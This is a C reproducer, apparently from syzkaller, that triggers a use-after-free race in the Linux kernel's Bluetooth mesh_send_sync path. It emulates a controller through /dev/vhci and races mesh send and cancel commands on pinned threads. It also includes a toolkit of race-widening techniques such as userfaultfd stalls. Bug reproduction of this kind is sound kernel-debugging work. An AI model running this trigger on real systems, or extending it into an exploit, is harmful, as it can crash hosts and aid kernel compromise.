// https://syzkaller.appspot.com/bug?id=d2762f31ce58dfcb900c2db500bf361f165c07bc #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include // Copyright 2026 syzkaller project authors. All rights reserved. // Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file. // IMPORTANT: Do not copy the macros or definitions below directly into your reproducer. // Instead, add the following line to your reproducer: // #include "race_toolkit.h" // --- Race Condition Toolkit --- // Macros and snippets for CPU pinning, memory barriers, and userfaultfd. #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include // Unbuffered I/O: Ensure logs are written immediately. #define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0) // CPU Pinning: Pin the current thread to a specific CPU core. #define PIN_TO_CPU(cpu) \ do { \ cpu_set_t mask; \ CPU_ZERO(&mask); \ CPU_SET(cpu, &mask); \ if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \ perror("sched_setaffinity"); \ } \ } while (0) // Memory Barrier: Ensure memory ordering. #define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST) // Spin-wait Barrier: Wait until a memory location has a specific value. // Best for tight race windows (low latency, no context switches). #define WAIT_ON(addr, val) \ do { \ while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \ ; \ } while (0) // Signal: Set a memory location to a specific value to release a WAIT_ON. #define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE) // --- Timing Primitives --- // Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps). static inline double timer_elapsed_sec(struct timespec* start) { struct timespec now; if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) { perror("clock_gettime(CLOCK_MONOTONIC) elapsed"); exit(1); } return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9; } // Initialize a monotonic timer variable. #define TIMER_START(t) \ struct timespec t; \ if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \ perror("clock_gettime(CLOCK_MONOTONIC) start"); \ exit(1); \ } // Check if the elapsed time since 't' is less than 'sec' seconds. #define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec)) // Futex-based Event: Shared with syzkaller executor. // Best for general synchronization or longer waits to save CPU. typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) { fprintf(stderr, "event already set\n"); exit(1); } __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0); } // userfaultfd setup: Register a memory range for page fault handling. static int setup_uffd(void* addr, size_t len) { int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) return -1; struct uffdio_api api = {.api = UFFD_API, .features = 0}; if (ioctl(uffd, UFFDIO_API, &api) == -1) { close(uffd); return -1; } struct uffdio_register reg = { .range = {.start = (uintptr_t)addr, .len = len}, .mode = UFFDIO_REGISTER_MODE_MISSING}; if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) { close(uffd); return -1; } return uffd; } // --- Guidance on Usage --- // 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead. // 2. Use event_t (futexes) for general coordination or when waiting for longer periods. // 3. Always use PIN_TO_CPU to increase race probability on multi-core systems. // 4. Use setup_uffd to register a memory range for page fault handling. This allows you to // pause a thread accessing that memory until you handle the fault, creating a reliable // and controllable race window. // 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed // immediately. This is essential for understanding the exact interleaving of events // when debugging race conditions. // 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL) // or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift. // Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED: // TIMER_START(start); // while (TIMER_NOT_EXPIRED(start, 10.0)) { // // Your race logic here // } #ifndef AF_BLUETOOTH #define AF_BLUETOOTH 31 #endif #ifndef BTPROTO_HCI #define BTPROTO_HCI 1 #endif #ifndef HCI_DEV_NONE #define HCI_DEV_NONE 0xffff #endif #ifndef HCI_CHANNEL_CONTROL #define HCI_CHANNEL_CONTROL 3 #endif #define MGMT_OP_READ_VERSION 0x0001 #define MGMT_OP_READ_INDEX_LIST 0x0003 #define MGMT_OP_SET_POWERED 0x0005 #define MGMT_OP_SET_LE 0x000d #define MGMT_OP_SET_ADVERTISING 0x0029 #define MGMT_OP_SET_EXP_FEATURE 0x004a #define MGMT_OP_MESH_SEND 0x0059 #define MGMT_OP_MESH_SEND_CANCEL 0x005a #define MGMT_EV_CMD_COMPLETE 0x0001 #define MGMT_EV_CMD_STATUS 0x0002 struct sockaddr_hci { sa_family_t hci_family; unsigned short hci_dev; unsigned short hci_channel; }; struct mgmt_hdr { uint16_t opcode; uint16_t index; uint16_t len; } __attribute__((packed)); struct mgmt_mesh_send_cmd { struct mgmt_hdr hdr; uint8_t bdaddr[6]; uint8_t addr_type; uint64_t instant; uint16_t delay; uint8_t cnt; uint8_t adv_data_len; uint8_t adv_data[1]; } __attribute__((packed)); struct mgmt_mesh_cancel_cmd { struct mgmt_hdr hdr; uint8_t handle; } __attribute__((packed)); /* Background controller emulator thread for /dev/vhci */ static void *vhci_responder_thread(void *arg) { int vhci_fd = (int)(intptr_t)arg; uint8_t buf[1024]; while (1) { ssize_t n = read(vhci_fd, buf, sizeof(buf)); if (n <= 0) { if (n < 0 && (errno == EAGAIN || errno == EINTR)) continue; break; } /* Check for HCI_COMMAND_PKT (type 0x01) */ if (n >= 4 && buf[0] == 0x01) { uint16_t opcode = (uint16_t)buf[1] | ((uint16_t)buf[2] << 8); uint8_t resp[512]; memset(resp, 0, sizeof(resp)); resp[0] = 0x04; /* HCI_EVENT_PKT */ resp[1] = 0x0e; /* HCI_EV_CMD_COMPLETE */ resp[3] = 0x01; /* ncmd */ resp[4] = buf[1]; /* opcode low */ resp[5] = buf[2]; /* opcode high */ resp[6] = 0x00; /* status success */ /* Default parameter length: 1(ncmd) + 2(opcode) + 1(status) = 4 */ resp[2] = 4; size_t rlen = 7; if (opcode == 0x1003) { /* HCI_OP_READ_LOCAL_FEATURES: * features[4] = 0x60 (LMP_LE | LMP_NO_BREDR) */ resp[2] = 12; resp[11] = 0x60; rlen = 15; } else if (opcode == 0x1001) { /* HCI_OP_READ_LOCAL_VERSION: HCI 5.1 */ resp[2] = 12; resp[7] = 0x0a; rlen = 15; } else if (opcode == 0x1009) { /* HCI_OP_READ_BD_ADDR: valid non-zero bdaddr */ resp[2] = 10; uint8_t bdaddr[6] = { 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff }; memcpy(&resp[7], bdaddr, 6); rlen = 13; } else if (opcode == 0x1002) { /* HCI_OP_READ_LOCAL_COMMANDS: * Setting all 64 bytes to 0 ensures the kernel skips optional * BR/EDR link key, page scan, error reporting, and extended feature queries. */ resp[2] = 68; memset(&resp[7], 0, 64); rlen = 71; } else if (opcode == 0x1005) { /* HCI_OP_READ_BUFFER_SIZE */ resp[2] = 11; resp[8] = 0xfb; /* acl_mtu = 251 */ resp[11] = 0x10; /* acl_max_pkt = 16 */ rlen = 14; } else if (opcode == 0x100c) { /* HCI_OP_READ_LOCAL_PAIRING_OPTS: status(1) + opts(1) + max_key(1) = 3 */ resp[2] = 6; rlen = 9; } else if (opcode == 0x0c0d) { /* HCI_OP_READ_STORED_LINK_KEY: status(1) + max(2) + num(2) = 5 */ resp[2] = 8; rlen = 11; } else if (opcode == 0x0c12) { /* HCI_OP_DELETE_STORED_LINK_KEY: status(1) + num(2) = 3 */ resp[2] = 6; rlen = 9; } else if (opcode == 0x0c14) { /* HCI_OP_READ_LOCAL_NAME: status(1) + name(248) = 249 */ resp[2] = 252; rlen = 255; } else if (opcode == 0x0c1b) { /* HCI_OP_READ_PAGE_SCAN_ACTIVITY: status(1) + int(2) + win(2) = 5 */ resp[2] = 8; rlen = 11; } else if (opcode == 0x0c23) { /* HCI_OP_READ_CLASS_OF_DEV: status(1) + class(3) = 4 */ resp[2] = 7; rlen = 10; } else if (opcode == 0x0c25) { /* HCI_OP_READ_VOICE_SETTING: status(1) + voice(2) = 3 */ resp[2] = 6; rlen = 9; } else if (opcode == 0x0c38) { /* HCI_OP_READ_NUM_SUPPORTED_IAC: status(1) + num(1) = 2 */ resp[2] = 5; resp[7] = 1; rlen = 8; } else if (opcode == 0x0c46 || opcode == 0x0c5a) { /* HCI_OP_READ_PAGE_SCAN_TYPE / READ_DEF_ERR_DATA_REPORTING: status(1) + param(1) = 2 */ resp[2] = 5; rlen = 8; } else if (opcode == 0x2002) { /* HCI_OP_LE_READ_BUFFER_SIZE: status(1) + mtu(2) + pkt(1) = 4 */ resp[2] = 7; resp[7] = 0xfb; /* le_mtu = 251 */ resp[9] = 0x10; /* le_max_pkt = 16 */ rlen = 10; } else if (opcode == 0x2003) { /* HCI_OP_LE_READ_LOCAL_FEATURES: * ALL 8 BYTES ZERO: ensures ext_adv_capable == false */ resp[2] = 12; memset(&resp[7], 0, 8); rlen = 15; } else if (opcode == 0x201c) { /* HCI_OP_LE_READ_SUPPORTED_STATES: status(1) + states(8) = 9 */ resp[2] = 12; memset(&resp[7], 0xff, 8); rlen = 15; } else if (opcode == 0x2007 || opcode == 0x200f || opcode == 0x202a || opcode == 0x203b) { /* LE_READ_ADV_TX_POWER / ACCEPT_LIST_SIZE / RESOLV_LIST_SIZE / ADV_SETS: 2 */ resp[2] = 5; resp[7] = 1; rlen = 8; } else if (opcode == 0x2023) { /* HCI_OP_LE_READ_DEF_DATA_LEN: status(1) + 4 = 5 */ resp[2] = 8; rlen = 11; } else if (opcode == 0x202f) { /* HCI_OP_LE_READ_MAX_DATA_LEN: status(1) + 8 = 9 */ resp[2] = 12; rlen = 15; } else if (opcode == 0x204b) { /* HCI_OP_LE_READ_TRANSMIT_POWER: status(1) + min(1) + max(1) = 3 */ resp[2] = 6; rlen = 9; } else if (opcode == 0x2087) { /* HCI_OP_LE_READ_ALL_LOCAL_FEATURES: status(1) + page(1) + 248 = 250 */ resp[2] = 253; rlen = 256; } ssize_t w = write(vhci_fd, resp, rlen); if (w < 0 && errno != EAGAIN && errno != EINTR && errno != EBADF) { printf("[-] vhci_responder write error: %s\n", strerror(errno)); } } } return NULL; } static int wait_controller_ready(int mgmt_fd, uint16_t target_dev_id) { struct mgmt_hdr req; req.opcode = MGMT_OP_READ_INDEX_LIST; req.index = HCI_DEV_NONE; req.len = 0; for (int retry = 0; retry < 200; retry++) { ssize_t s = send(mgmt_fd, &req, sizeof(req), 0); if (s < 0) { printf("[-] Failed to send READ_INDEX_LIST: %s\n", strerror(errno)); return -1; } while (1) { struct pollfd pfd = { .fd = mgmt_fd, .events = POLLIN }; int pr = poll(&pfd, 1, 50); if (pr <= 0) break; uint8_t resp[512]; ssize_t r = recv(mgmt_fd, resp, sizeof(resp), 0); if (r < 0) { if (errno == EAGAIN || errno == EINTR) continue; printf("[-] recv failed waiting for READ_INDEX_LIST: %s\n", strerror(errno)); return -1; } if (r >= (ssize_t)(sizeof(struct mgmt_hdr) + 3)) { struct mgmt_hdr *rh = (struct mgmt_hdr *)resp; uint16_t ev_opcode = rh->opcode; if (ev_opcode == MGMT_EV_CMD_COMPLETE) { uint16_t cmd_op = resp[6] | (resp[7] << 8); uint8_t status = resp[8]; if (cmd_op == MGMT_OP_READ_INDEX_LIST && status == 0) { if (r >= (ssize_t)(sizeof(struct mgmt_hdr) + 5)) { uint16_t num_ctrl = resp[9] | (resp[10] << 8); for (uint16_t i = 0; i < num_ctrl; i++) { if (r >= (ssize_t)(sizeof(struct mgmt_hdr) + 5 + (i + 1) * 2)) { uint16_t dev_id = resp[11 + i * 2] | (resp[12 + i * 2] << 8); if (dev_id == target_dev_id) { printf("[+] Controller hci%u is ready in index list (total=%u)!\n", dev_id, num_ctrl); return 0; } } } } } } } } usleep(25000); } printf("[-] Controller hci%u timed out waiting to become ready\n", target_dev_id); return -1; } static int send_mgmt_cmd_sync(int fd, uint16_t opcode, uint16_t index, const void *data, uint16_t len, int max_retries, const char *desc) { uint8_t req[512]; struct mgmt_hdr *hdr = (struct mgmt_hdr *)req; hdr->opcode = opcode; hdr->index = index; hdr->len = len; if (len > 0 && data != NULL) { memcpy(req + sizeof(struct mgmt_hdr), data, len); } for (int retry = 0; retry < max_retries; retry++) { ssize_t s = send(fd, req, sizeof(struct mgmt_hdr) + len, 0); if (s < 0) { printf("[-] Failed to send %s: %s\n", desc, strerror(errno)); return -1; } while (1) { struct pollfd pfd = { .fd = fd, .events = POLLIN }; int pr = poll(&pfd, 1, 500); if (pr <= 0) break; uint8_t resp[512]; ssize_t r = recv(fd, resp, sizeof(resp), 0); if (r < 0) { if (errno == EAGAIN || errno == EINTR) continue; printf("[-] recv failed for %s: %s\n", desc, strerror(errno)); return -1; } if (r >= (ssize_t)(sizeof(struct mgmt_hdr) + 3)) { struct mgmt_hdr *rh = (struct mgmt_hdr *)resp; uint16_t ev_opcode = rh->opcode; if (ev_opcode == MGMT_EV_CMD_COMPLETE || ev_opcode == MGMT_EV_CMD_STATUS) { uint16_t resp_op = resp[6] | (resp[7] << 8); uint8_t status = resp[8]; if (resp_op == opcode) { if (status == 0x00) { printf("[+] %s succeeded with status 0x00.\n", desc); return 0; } printf("[*] %s returned status 0x%02x, retrying (%d/%d)...\n", desc, status, retry + 1, max_retries); usleep(50000); goto next_retry; } } } } next_retry:; } printf("[-] %s failed after %d attempts\n", desc, max_retries); return -1; } struct race_arg { int fd; uint16_t dev_id; int cpu; int mode; /* 0: send, 1: cancel, 2: cancel + periodic send */ volatile int *stop; }; static void *race_worker(void *arg) { struct race_arg *ra = (struct race_arg *)arg; PIN_TO_CPU(ra->cpu); struct mgmt_mesh_send_cmd send_cmd; memset(&send_cmd, 0, sizeof(send_cmd)); send_cmd.hdr.opcode = MGMT_OP_MESH_SEND; send_cmd.hdr.index = ra->dev_id; send_cmd.hdr.len = 20; send_cmd.cnt = 1; send_cmd.adv_data_len = 1; send_cmd.adv_data[0] = 0xaa + ra->cpu; struct mgmt_mesh_cancel_cmd cancel_cmd; memset(&cancel_cmd, 0, sizeof(cancel_cmd)); cancel_cmd.hdr.opcode = MGMT_OP_MESH_SEND_CANCEL; cancel_cmd.hdr.index = ra->dev_id; cancel_cmd.hdr.len = 1; cancel_cmd.handle = 0; uint8_t drain_buf[512]; int count = 0; while (!*ra->stop) { if (ra->mode == 0) { send(ra->fd, &send_cmd, sizeof(send_cmd), 0); } else if (ra->mode == 1) { send(ra->fd, &cancel_cmd, sizeof(cancel_cmd), 0); } else if (ra->mode == 2) { send(ra->fd, &cancel_cmd, sizeof(cancel_cmd), 0); if ((++count % 4) == 0) { send(ra->fd, &send_cmd, sizeof(send_cmd), 0); } } while (recv(ra->fd, drain_buf, sizeof(drain_buf), MSG_DONTWAIT) > 0) ; } return NULL; } int main(void) { SETUP_UNBUFFERED_IO(); printf("[*] Starting Bluetooth mesh_send_sync UAF reproducer...\n"); /* Step 1: Open /dev/vhci */ int vhci_fd = open("/dev/vhci", O_RDWR); if (vhci_fd < 0) { printf("[-] Failed to open /dev/vhci: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully opened /dev/vhci (fd=%d).\n", vhci_fd); /* Step 2: Instantiate virtual controller hci0 (HCI_PRIMARY) */ uint8_t vhci_create_cmd[2] = { 0xff, 0x00 }; ssize_t written = write(vhci_fd, vhci_create_cmd, sizeof(vhci_create_cmd)); if (written < 0) { printf("[-] Failed to write create command to /dev/vhci: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully wrote create command to /dev/vhci.\n"); uint8_t vhci_resp[4]; ssize_t nread = read(vhci_fd, vhci_resp, sizeof(vhci_resp)); if (nread < 4) { printf("[-] Failed to read controller creation ack: %s\n", strerror(errno)); exit(1); } uint16_t dev_id = (uint16_t)vhci_resp[2] | ((uint16_t)vhci_resp[3] << 8); printf("[+] Successfully initialized virtual controller hci%u.\n", dev_id); /* Step 3: Spawn background controller responder thread */ pthread_t th_vhci; int pres = pthread_create(&th_vhci, NULL, vhci_responder_thread, (void *)(intptr_t)vhci_fd); if (pres != 0) { printf("[-] Failed to create vhci responder thread: %s\n", strerror(pres)); exit(1); } printf("[+] Successfully started vhci background responder thread.\n"); /* Step 4: Open and bind initial Management socket */ int mgmt_fd1 = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (mgmt_fd1 < 0) { printf("[-] Failed to create mgmt_fd1: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully created mgmt_fd1 (fd=%d).\n", mgmt_fd1); struct sockaddr_hci addr; memset(&addr, 0, sizeof(addr)); addr.hci_family = AF_BLUETOOTH; addr.hci_dev = HCI_DEV_NONE; addr.hci_channel = HCI_CHANNEL_CONTROL; if (bind(mgmt_fd1, (struct sockaddr *)&addr, sizeof(addr)) < 0) { printf("[-] Failed to bind mgmt_fd1: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully bound mgmt_fd1 to HCI_CHANNEL_CONTROL.\n"); /* Step 5: Wait for controller setup to complete (clearing HCI_SETUP) */ printf("[*] Waiting for controller hci%u to finish setup...\n", dev_id); if (wait_controller_ready(mgmt_fd1, dev_id) < 0) { printf("[-] wait_controller_ready failed for hci%u.\n", dev_id); exit(1); } printf("[+] Controller hci%u is ready for management commands.\n", dev_id); /* Step 6: Configure controller features sequentially */ /* 6a. Enable Mesh experimental feature (sets HCI_MESH_EXPERIMENTAL flag) */ struct { uint8_t uuid[16]; uint8_t val; } __attribute__((packed)) exp_param; static const uint8_t mesh_uuid[16] = { 0x76, 0x6e, 0xf3, 0xe8, 0x24, 0x5f, 0x05, 0xbf, 0x8d, 0x4d, 0x03, 0x7a, 0xd7, 0x63, 0xe4, 0x2c, }; memcpy(exp_param.uuid, mesh_uuid, 16); exp_param.val = 1; if (send_mgmt_cmd_sync(mgmt_fd1, MGMT_OP_SET_EXP_FEATURE, dev_id, &exp_param, sizeof(exp_param), 100, "MGMT_OP_SET_EXP_FEATURE (Mesh)") < 0) { printf("[-] Failed to enable Mesh experimental feature.\n"); exit(1); } printf("[+] Successfully enabled Mesh experimental feature on hci%u.\n", dev_id); /* 6b. Power on controller */ uint8_t pwr_val = 1; if (send_mgmt_cmd_sync(mgmt_fd1, MGMT_OP_SET_POWERED, dev_id, &pwr_val, sizeof(pwr_val), 100, "MGMT_OP_SET_POWERED") < 0) { printf("[-] Failed to power on controller.\n"); exit(1); } printf("[+] Successfully powered on controller hci%u.\n", dev_id); /* 6c. Enable LE (sets HCI_LE_ENABLED flag) */ uint8_t le_val = 1; if (send_mgmt_cmd_sync(mgmt_fd1, MGMT_OP_SET_LE, dev_id, &le_val, sizeof(le_val), 100, "MGMT_OP_SET_LE") < 0) { printf("[-] Failed to enable LE.\n"); exit(1); } printf("[+] Successfully enabled LE on hci%u.\n", dev_id); /* 6d. Enable Advertising (sets HCI_ADVERTISING flag so mesh_send_sync returns -EPERM) */ uint8_t adv_val = 1; if (send_mgmt_cmd_sync(mgmt_fd1, MGMT_OP_SET_ADVERTISING, dev_id, &adv_val, sizeof(adv_val), 100, "MGMT_OP_SET_ADVERTISING") < 0) { printf("[-] Failed to enable Advertising.\n"); exit(1); } printf("[+] Successfully enabled Advertising on hci%u.\n", dev_id); /* Step 7: Open and bind second management socket */ int mgmt_fd2 = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (mgmt_fd2 < 0) { printf("[-] Failed to create mgmt_fd2: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully created mgmt_fd2 (fd=%d).\n", mgmt_fd2); if (bind(mgmt_fd2, (struct sockaddr *)&addr, sizeof(addr)) < 0) { printf("[-] Failed to bind mgmt_fd2: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully bound mgmt_fd2 to HCI_CHANNEL_CONTROL.\n"); /* Step 8: Configure non-blocking mode on management sockets */ int flags1 = fcntl(mgmt_fd1, F_GETFL, 0); if (flags1 < 0) { printf("[-] Failed to get flags for mgmt_fd1: %s\n", strerror(errno)); exit(1); } if (fcntl(mgmt_fd1, F_SETFL, flags1 | O_NONBLOCK) < 0) { printf("[-] Failed to set O_NONBLOCK on mgmt_fd1: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully configured O_NONBLOCK on mgmt_fd1.\n"); int flags2 = fcntl(mgmt_fd2, F_GETFL, 0); if (flags2 < 0) { printf("[-] Failed to get flags for mgmt_fd2: %s\n", strerror(errno)); exit(1); } if (fcntl(mgmt_fd2, F_SETFL, flags2 | O_NONBLOCK) < 0) { printf("[-] Failed to set O_NONBLOCK on mgmt_fd2: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully configured O_NONBLOCK on mgmt_fd2.\n"); /* Step 9: Launch multi-threaded race targeting mesh_send_sync UAF */ printf("[*] Spawning race threads targeting mesh_send_sync UAF...\n"); volatile int stop = 0; struct race_arg arg1 = { .fd = mgmt_fd1, .dev_id = dev_id, .cpu = 0, .mode = 0, /* MESH_SEND */ .stop = &stop, }; struct race_arg arg2 = { .fd = mgmt_fd2, .dev_id = dev_id, .cpu = 1, .mode = 2, /* MESH_SEND_CANCEL + periodic MESH_SEND */ .stop = &stop, }; struct race_arg arg3 = { .fd = mgmt_fd1, .dev_id = dev_id, .cpu = 0, .mode = 1, /* MESH_SEND_CANCEL */ .stop = &stop, }; struct race_arg arg4 = { .fd = mgmt_fd2, .dev_id = dev_id, .cpu = 1, .mode = 0, /* MESH_SEND */ .stop = &stop, }; pthread_t th1, th2, th3, th4; pres = pthread_create(&th1, NULL, race_worker, &arg1); if (pres != 0) { printf("[-] Failed to create race thread 1: %s\n", strerror(pres)); exit(1); } pres = pthread_create(&th2, NULL, race_worker, &arg2); if (pres != 0) { printf("[-] Failed to create race thread 2: %s\n", strerror(pres)); exit(1); } pres = pthread_create(&th3, NULL, race_worker, &arg3); if (pres != 0) { printf("[-] Failed to create race thread 3: %s\n", strerror(pres)); exit(1); } pres = pthread_create(&th4, NULL, race_worker, &arg4); if (pres != 0) { printf("[-] Failed to create race thread 4: %s\n", strerror(pres)); exit(1); } printf("[+] Successfully started 4 race threads across CPU 0 and CPU 1.\n"); /* Step 10: Run race for 10 seconds */ printf("[*] Racing for 10.0 seconds...\n"); TIMER_START(start); while (TIMER_NOT_EXPIRED(start, 10.0)) { usleep(100000); } printf("[*] Stopping race threads...\n"); stop = 1; pthread_join(th1, NULL); pthread_join(th2, NULL); pthread_join(th3, NULL); pthread_join(th4, NULL); printf("[+] All race threads joined.\n"); /* Allow any pending sync workqueue entries to finish executing */ printf("[*] Waiting for asynchronous kernel workqueues to settle...\n"); usleep(1500000); close(mgmt_fd1); close(mgmt_fd2); close(vhci_fd); printf("[+] Reproducer run completed.\n"); return 0; }